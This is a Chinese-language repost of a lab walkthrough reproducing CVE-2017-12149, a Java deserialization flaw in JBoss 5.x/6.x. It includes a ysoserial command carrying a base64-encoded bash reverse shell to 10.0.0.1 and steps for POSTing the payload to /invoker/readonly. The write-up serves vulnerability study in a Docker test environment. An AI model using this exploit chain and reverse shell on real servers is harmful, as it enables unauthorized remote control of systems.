JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

栏目: 服务器 · 发布时间: 7年前

内容简介:该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。参考:运行测试环境

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

参考:

测试环境

运行测试环境

docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问 http://your-ip:8080/ 即可看到JBoss默认页面。

漏洞复现

该漏洞出现在 /invoker/readonly 请求中,服务器将用户提交的POST内容进行了Java反序列化:

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。

编写反弹 shell 的命令

我们使用bash来反弹shell,但由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我们需要用进行一次编码。

工具: http://jackson.thuraisamy.me/runtime-exec-payloads.html

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

序列化数据生成

使用 ysoserial 来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

发送POC

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

成功反弹shell:

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)


以上所述就是小编给大家介绍的《JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Automate This

Automate This

Christopher Steiner / Portfolio / 2013-8-9 / USD 25.95

"The rousing story of the last gasp of human agency and how today's best and brightest minds are endeavoring to put an end to it." It used to be that to diagnose an illness, interpret legal docume......一起来看看 《Automate This》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具